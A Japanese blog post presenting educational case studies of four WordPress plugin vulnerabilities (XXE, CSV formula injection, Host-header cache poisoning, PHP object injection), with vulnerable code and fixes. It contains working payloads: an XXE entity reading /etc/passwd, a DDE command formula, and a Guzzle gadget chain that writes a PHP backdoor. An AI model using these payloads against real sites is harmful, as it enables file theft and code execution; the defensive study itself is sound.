Webアプリケーションの脆弱性ケーススタディ（WordPress編その２）

以前WordPressの脆弱性ケーススタディをご紹介しました。

[Webアプリケーションの脆弱性ケーススタディ（WordPress編）](https://qiita.com/prograti/items/951949e407fe8a40043b)

今回もWebアプリケーションのセキュリティを学ぶために、WordPressで実際にあった脆弱性をいくつかご紹介したいと思います。

## :spy: XML External Entity (XXE) Processing

[CWE-611](https://cwe.mitre.org/data/definitions/611.html)によると、XML External Entity (XXE) は以下のように記載されています。

>XML documents optionally contain a Document Type Definition (DTD), which, among other features, enables the definition of XML entities. It is possible to define an entity by providing a substitution string in the form of a URI. The XML parser can access the contents of this URI and embed these contents back into the XML document for further processing.By submitting an XML file that defines an external entity with a file:// URI, an attacker can cause the processing application to read the contents of a local file. For example, a URI such as "file:///c:/winnt/win.ini" designates (in Windows) the file C:\Winnt\win.ini, or file:///etc/passwd designates the password file in Unix-based systems. Using URIs with other schemes such as http://, the attacker can force the application to make outgoing requests to servers that the attacker cannot reach directly, which can be used to bypass firewall restrictions or hide the source of attacks such as port scanning.Once the content of the URI is read, it is fed back into the application that is processing the XML. This application may echo back the data (e.g. in an error message), thereby exposing the file contents. 

要約すると、XMLの仕様に実体参照（[Entity Reference](https://www.w3.org/TR/xml/#sec-references)）というものがあり、XXEとはその実体参照によって引き起こされる脆弱性になります。例えば、XMLは以下のような形で外部ファイルを参照することができるのですが、これを悪用すればパスワードファイルを窃取したり、内部サーバに対してポートスキャニングを行ったりすることが可能になります。

```mybook.xml
<?xml version="1.0" ?>
<!DOCTYPE mybook [
<!ENTITY toc SYSTEM "toc.xml">
<!ENTITY introduction SYSTEM "introduction.xml">
<!ENTITY body SYSTEM "body.xml">
<!ENTITY afterword SYSTEM "afterword.xml">
]>
<mybook>
&toc;
&introduction;
&body;
&afterword;
</mybook>
```

今回ご紹介するXXEは、投稿内に表組みを簡単に作成できる「TablePress」というプラグインで見つかったものです。このプラグインはCSVやHTML、Excelなどのファイルをインポートすることができ、Excelファイルをインポートする機能に脆弱性がありました。

まず、本題に入る前に補足説明しておくと、ExcelはOffice 2003までは独自のバイナリ形式でしたが、2007以降では「[Office Open XML](https://ja.wikipedia.org/wiki/Office_Open_XML)」というXMLをベースとしたファイルフォーマットを採用しています。

![Office Open XML](https://qiita-image-store.s3.amazonaws.com/0/184074/91d95283-9ac1-6ed9-1a0b-0ac7e1482c63.gif)

TablePressでは、このXMLを解析して表データを取り込んでいます。では、問題のあった箇所を見てみましょう。

```tablepress/libraries/simplexlsx.class.php
protected function getEntryXML( $name ) {
  if ( ( $entry_xml = $this->getEntryData( $name ) ) && ( $entry_xmlobj = simplexml_load_string( $entry_xml ) ) ) {
    return $entry_xmlobj;
  }

  $this->error( 'Entry not found: ' . $name );
  return false;
}
```

上記関数は読み込んだXMLデータをオブジェクトとして返すシンプルなもので、SimpleXML拡張モジュール（libxmlに依存）の```simplexml_load_string```を使用しています。この関数に改変したExcelファイルを読み込ませてみたいと思います。

まず、適当に作成したExcelファイルの拡張子をzipに変更して解凍し、xlフォルダの配下にあるsharedStrings.xmlを開きます（下は見やすいように整形しています）。

```sharedStrings.xml
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<sst
	xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" count="13" uniqueCount="13">
	<si>
		<t>No</t>
		<phoneticPr fontId="1"/>
	</si>
	<si>
		<t>OWASP Top 10 Application Security Risks - 2017</t>
		<phoneticPr fontId="1"/>
	</si>
	<si>
		<t>Injection</t>
		<phoneticPr fontId="1"/>
	</si>
---（略）---
```

これを以下のように書き換えてZIP圧縮してもとのExcelファイルに戻します。

```sharedStrings.xml
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE dummy [ 
<!ELEMENT t ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<sst
	xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" count="13" uniqueCount="13">
	<si>
		<t>No</t>
		<phoneticPr fontId="1"/>
	</si>
	<si>
		<t>OWASP Top 10 Application Security Risks - 2017</t>
		<phoneticPr fontId="1"/>
	</si>
	<si>
		<t>&xxe;</t>
		<phoneticPr fontId="1"/>
	</si>
```

そして、管理画面からインポートしてプレビュー表示してみると以下のようになります。

![xxe成功](https://qiita-image-store.s3.amazonaws.com/0/184074/1652987c-8c05-5cb3-0250-eeaa0c036c2b.gif)

ENTITYに定義した/etc/passwdファイルへの参照が反映されファイルの中身が表示されてしまいました。しかし、ここでちょっと疑問に思った方もいらっしゃるかと思います。というのも```simplexml_load_string```は第3引数（Libxmlパラメータ）に```LIBXML_NOENT```（エンティティを置換 ）を指定しなければ本来は参照の内容が反映されないからです（PHPのマニュアルを見る限りでは）。

しかし、いろいろ検証してみた結果、PHPをコンパイルするときに「libxml2-2.8.0」を指定（--with-libxml-dir）した場合は```LIBXML_NOENT```を引数に渡さなくても今回の現象が発生しました。（php5.6.33およびphp7.2.2にて確認。なお、libxml2-2.7.6やlibxml2-2.9.1では発生せず）

したがって、以下の修正後ソースのように```libxml_disable_entity_loader```関数を呼び出して外部エンティティの読み込み機能を無効にした方が安全です。

```tablepress/libraries/simplexlsx.class.php
public function getEntryXML( $name ) {
  if ( $entry_xml = $this->getEntryData( $name ) ) {
    // XML External Entity (XXE) Prevention.
    $_old_value = libxml_disable_entity_loader( true );
    $entry_xmlobj = simplexml_load_string( $entry_xml );
    libxml_disable_entity_loader( $_old_value );
    if ( $entry_xmlobj ) {
      return $entry_xmlobj;
    }
    $e = libxml_get_last_error();
    $this->error( 'XML-entry ' . $name . ' parser error ' . $e->message . ' line ' . $e->line );
  } else {
    $this->error( 'XML-entry not found: ' . $name );
  }
  return false;
}
```

なお、php7.2.1で修正されましたが```libxml_disable_entity_loader```はphp-fpm使用時に異なるリクエスト間で設定値が共有されてしまうバグがあります。ENTITYが含まれているかどうかを事前にチェックして、含まれていたらエラーにした方がより確実かもしれません。

http://www.php.net/ChangeLog-7.php#7.2.1

## :spy: Formula injection（CSV Injection）

[OWSAP](https://www.owasp.org/index.php/CSV_Injection)によると、Formula injection（CSV Injection）は以下のように記載されています。

>CSV Injection, also known as Formula Injection, occurs when websites embed untrusted input inside CSV files.When a spreadsheet program such as Microsoft Excel or LibreOffice Calc is used to open a CSV, any cells starting with '=' will be interpreted by the software as a formula. Maliciously crafted formulas can be used for three key attacks: 

要約すると、CSVファイルに数式と解釈されるようなデータの挿入を許可してしまい、ユーザがExcelなどでCSVファイルを開いた時に悪意のあるコードが実行されてしまう脆弱性になります。

以下のソースは、あるCSV出力プラグインのCSV出力の部分を抜粋したものです。

```php
$fp = fopen( $filepath, 'w' );

// 配列をカンマ区切りにしてファイルに書き込み
foreach ( $list as $fields ) {
  //文字コード変換
  if ( function_exists( "mb_convert_variables" ) ) {
    mb_convert_variables( $string_code, 'UTF-8', $fields );
  }
  fputcsv( $fp, $fields );
}
fclose( $fp );
```

DBから取得した投稿データを```fputcsv```にそのまま渡してCSVファイルに出力しています。一見するとよくある処理なのですが、仮に投稿データに不正なデータがあった場合、ここが脆弱性につながります。

では、実際に投稿のタイトルに不正なデータを入れてみます。

```
=cmd|'/k ipconfig'!A0
```

![投稿](https://qiita-image-store.s3.amazonaws.com/0/184074/414be064-75b4-35e7-1f61-6ba49a1b665d.gif)

そして、このプラグインを使ってCSVファイルとしてエクスポートし、Excelで開いてみます。そうすると以下のようにセキュリティ警告が出ますので「有効にする」をクリックし、次に開いたメッセージボックスの「はい」をクリックします。

![アラート](https://qiita-image-store.s3.amazonaws.com/0/184074/4f9071de-e36a-088c-9466-1e56dd8890cf.gif)

そうするとコマンドプロンプトが開きipconfigが実行されてしまいました。

![コマンドプロンプトt](https://qiita-image-store.s3.amazonaws.com/0/184074/aa55d3d6-ba36-1ea1-34c6-3965b633afe5.gif)


これは先ほどタイトルに入力したDDE（Dynamic Data Exchange）コマンドがExcel上で実行されてしまったからです。今回はDDEの例をご紹介しましたが、例えばExcelのHYPERLINK関数を使って不正なリンクを仕込むといったこともできます。したがって、仕様的に文字の削除が可能なのであれば、先頭の文字から"="を削除した方が安全です。また、"="以外にも"+"、"-"、"@"も同様に数式として解釈されます。これらの文字も削除した方が良いでしょう。

## :spy: Cache Poisoning

[OWSAP](https://www.owasp.org/index.php/Cache_Poisoning)によると、Cache Poisoningは以下のように記載されています。

>The impact of a maliciously constructed response can be magnified if it is cached either by a web cache used by multiple users or even the browser cache of a single user. If a response is cached in a shared web cache, such as those commonly found in proxy servers, then all users of that cache will continue to receive the malicious content until the cache entry is purged. Similarly, if the response is cached in the browser of an individual user, then that user will continue to receive the malicious content until the cache entry is purged, although only the user of the local browser instance will be affected. 

要約すると、コンテンツをキャッシュして不特定多数のユーザーに配信している場合に、攻撃者によってキャッシュに不正なコードを仕込まれ、汚染されたコンテンツがユーザーに配信されてしまう脆弱性になります。

今回ご紹介するCache Poisoningは、「AddToAny Share Buttons」というソーシャルメディアへのシェアボタンを追加するプラグインで見つかったものです。このプラグインは投稿の末尾に自動的にシェアボタンを表示してくれるのですが、それと別に自分でテーマをカスタマイズして好きな場所にシェアボタンを追加できるように以下のようなヘルパー関数を用意しており、そこに脆弱性がありました。

```php
<?php if ( function_exists( 'ADDTOANY_SHARE_SAVE_KIT' ) ) { 
  ADDTOANY_SHARE_SAVE_KIT( array( 'use_current_page' => true ) );
} ?>
```

では、問題のあった箇所を見てみましょう。

```add-to-any.php
if ( ! $linkurl ) {
  if ( $use_current_page ) {
    $linkurl = esc_url_raw ( ( is_ssl() ? 'https://' : 'http://' ) . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'] );
  } elseif ( isset( $post ) ) {
    $linkurl = get_permalink( $post->ID );
  } else {
    $linkurl = '';
  }
}
```

上記はシェアリンクのURLを組み立てている処理なのですが、```$use_current_page```がtrueの場合、```HTTP_HOST```と```REQUEST_URI```を使って組み立てています。もし、攻撃者がHOSTヘッダーを改ざんしてリクエストを送った場合、linkurlは以下のようになってしまいます。

```
http://（悪意のあるサイト）.com/xxxxxxxxx/
```

では、実際にサンプルページに以下のようなリクエストを送ってみます。（ここでは、事前にWP Fastest Cacheを入れてページをキャッシュするようにしておきます。）

![サンプルページへのリクエスト](https://qiita-image-store.s3.amazonaws.com/0/184074/bb6eda0e-ebf1-04d0-3bf1-923d4cd2f706.gif)

そうすると以下のようなレスポンスが返ってき、linkurlがHostヘッダに設定した値になっていることが分かります。

![レスポンス](https://qiita-image-store.s3.amazonaws.com/0/184074/5f1a255e-2992-ad03-3381-d850555002e7.gif)

次にページにアクセスしTwitterのツイートボタンをクリックしてみます。

![tweet](https://qiita-image-store.s3.amazonaws.com/0/184074/d7dcc6b1-a3d5-4397-c23f-46d2dd2c9995.gif)

キャッシュプラグインによって先ほどのリクエストがキャッシュされてしまい、本来サンプルページのURLが表示されるべきところで、不正なURLが表示されてしまいました。今回はWordPressのプラグインによるアプリケーションレイヤーのキャッシュでしたが、ロードバランサーやリバースプロキシ、CDNなど様々なレイヤーでキャッシュを利用されている方も多いかと思います。**Web Cache Deception Attack**といった攻撃で個人情報を狙う事例も発生していますので、キャッシュの取り扱いには十分な注意が必要です。

## :spy: PHP Object Injection

[OWSAP](https://www.owasp.org/index.php/PHP_Object_Injection)によると、PHP Object Injectionは以下のように記載されています。

>PHP Object Injection is an application level vulnerability that could allow an attacker to perform different kinds of malicious attacks, such as Code Injection, SQL Injection, Path Traversal and Application Denial of Service, depending on the context. The vulnerability occurs when user-supplied input is not properly sanitized before being passed to the unserialize() PHP function. Since PHP allows object serialization, attackers could pass ad-hoc serialized strings to a vulnerable unserialize() call, resulting in an arbitrary PHP object(s) injection into the application scope. 

要約すると、例えばcookieにserialize関数でシリアル化したデータを書き込んで、サーバ側で受け取る時はunserialize関数でオブジェクトに復元しているような処理がある場合に、攻撃者によって不正に操作されたデータを復元してしまい、ファイルの改ざんやバックドアを仕込むなどの攻撃をされてしまう脆弱性になります。徳丸先生のサイトにサンプルコード付きで分かりやすい解説がありますのでPHP Object Injectionを初めて聞いたという方はそちらをご覧ください。

[安全でないデシリアライゼーション(Insecure Deserialization)入門 ](https://blog.tokumaru.org/2017/09/introduction-to-object-injection.html)

今回ご紹介するPHP Object Injectionは、「Booster for WooCommerce」というプラグインで見つかったものです。このプラグインはWooCommerceに様々な機能を追加してくれるのですが、その中のユーザーのEメール認証機能に脆弱性がありました。

では、問題のあった箇所を見てみましょう。

```includes/class-wcj-emails-verification.php
function process_email_verification(){
  if ( isset( $_GET['wcj_verify_email'] ) ) {
    $data = unserialize( base64_decode( $_GET['wcj_verify_email'] ) );
    if ( get_user_meta( $data['id'], 'wcj_activation_code', true ) == $data['code'] ) {
      update_user_meta( $data['id'], 'wcj_is_activated', '1' );
      wc_add_notice( do_shortcode( get_option( 'wcj_emails_verification_success_message',
        __( '<strong>Success:</strong> Your account has been activated!', 'woocommerce-jetpack' ) ) ) );
```

この関数は、メールで送った認証用URLにユーザーがアクセスした場合に実行される関数で、GETパラメータとして```wcj_verify_email```というアクティベーションコードを受け取っています。そして、受け取ったパラメータをそのまま```unserialize```で復元しています。つまり、攻撃者は以下のような形で簡単に攻撃することができます。

```
http://xxxxxxxxxxxx/?wcj_verify_email=（不正に操作されたデータ）
```

ただ、処理を見ると復元したデータからidとcodeを取りだしているだけなので、WordPressのクラスを復元させたところで攻撃は難しそうです。```__wakeup```や```__destruct```でWordPress内のクラスやこのプラグイン内のクラスをgrepしてみましたが、特に攻撃に使えそうなクラスは見つかりませんでした。

ただし、他にプラグインを入れていてそれが利用できる場合もあります。いろいろ探したところ「Constant Contact Forms」というプラグインを入れると攻撃ができたのでご紹介したいと思います。このプラグインはConstant ContactというマーケティングツールのWordPress用プラグインで、このプラグイン自体に脆弱性がある訳ではないのですが、このプラグインに存在するクラスの一つが攻撃に利用できます。

このプラグインが利用しているサードパーティ製ライブラリが以下のように存在しており、composerのautoloadで動的に呼び出すことができるようになっています。

![サードパーティ製ライブラリ](https://qiita-image-store.s3.amazonaws.com/0/184074/5eadfb0f-7214-4ecb-63df-22ff5ca031d4.gif)

そして、ここで利用するのが「Guzzle」というよく利用されているHTTPクライアントライブラリです。このライブラリの中に```FileCookieJar```というクラスがあるのですが、コードを見ると```__destruct```が以下のように定義されています。

```GuzzleHttp\Cookie\FileCookieJar.php
public function __destruct()
{
  $this->save($this->filename);
}

public function save($filename)
{
  $json = [];
  foreach ($this as $cookie) {
    if ($cookie->getExpires() && !$cookie->getDiscard()) {
      $json[] = $cookie->toArray();
    }
  }

  if (false === file_put_contents($filename, json_encode($json))) {
    // @codeCoverageIgnoreStart
    throw new \RuntimeException("Unable to save file {$filename}");
    // @codeCoverageIgnoreEnd
  }
}
```

デストラクタが呼ばれたタイミングでファイルを出力しているのが分かるかと思います。では、これを利用して悪意のあるデータを作ってみたいと思います。まず、Guzzleを用意した環境で以下のようなコードを書き、シリアライズ化したデータを出力します。

```php
$obj = new GuzzleHttp\Cookie\FileCookieJar('/var/wwww/html/backdoor.php');
$payload = '<?php echo phpinfo(); ?>';
$obj->setCookie(new GuzzleHttp\Cookie\SetCookie([
  'Name' => 'hoge',
  'Value' => 'hoge',
  'Domain' => $payload,
  'Expires' => time()
]));
echo base64_encode(serialize(new ArrayObject($obj)));
```

そうすると以下のようなデータが得られます。

![シリアライズデータ](https://qiita-image-store.s3.amazonaws.com/0/184074/04cf5e11-880a-8b23-60d1-e4030b231758.gif)

そうしたら、このデータをwcj_verify_emailパラメータにセットしてリクエストを送ってみます。

![レスポンス](https://qiita-image-store.s3.amazonaws.com/0/184074/5d89c190-dd76-8a0b-b2e2-d74834fc4180.gif)

idとcodeがないのでNoticeが出ましたがトップページが返って来ました。次に/var/wwww/html/を見てみます。

![ドキュメントルート](https://qiita-image-store.s3.amazonaws.com/0/184074/5a14682f-efa8-fb4f-e38a-30682b18a917.gif)

backdoor.phpというファイルが作成されました。ファイルの中を見ると以下のようになっています。

```php
[{"Name":"hoge","Value":"hoge","Domain":"<?php echo phpinfo(); ?>","Path":"\/","Max-Age":null,"Expires":1517837122,"Secure":false,"Discard":false,"HttpOnly":false}]
```

cookieデータが出力されていますが、Domainの部分にphpコードがあるのが分かるかと思います。では、backdoor.phpにアクセスしてみます。

![backdoor](https://qiita-image-store.s3.amazonaws.com/0/184074/b80bfd41-216f-a11c-372b-bf439895a9ee.gif)

このような形でphpinfoが表示されてしまいました。PHP Object Injectionが非常に危険な脆弱性であるということがお分かり頂けたかと思います。PHPのunserialize関数のマニュアルには以下のように記載されています。

http://php.net/manual/ja/function.unserialize.php

>**警告** allowed_classes の options の値にかかわらず、 ユーザーからの入力をそのまま unserialize() に渡してはいけません。 アンシリアライズの時には、オブジェクトのインスタンス生成やオートローディングなどで コードが実行されることがあり、悪意のあるユーザーがこれを悪用するかもしれないからです。 シリアル化したデータをユーザーに渡す必要がある場合は、安全で標準的なデータ交換フォーマットである JSON などを使うようにしましょう。 json_decode() および json_encode() を利用します。 

マニュアルに記載されていうように```json_decode```および```json_encode```を使うようにしてください。

## まとめ
今回も前回と同様に修正前後のソースコードを比較しながら一つひとつ検証しましたが、実際にどういった攻撃が可能なのか攻撃者目線で考えてみると新しい発見があり大変勉強になりました。皆さんも機会があれば、さらに深く脆弱性について考えてみてはいかがでしょうか？（内容に間違いなどありましたらご指摘頂けると幸いです）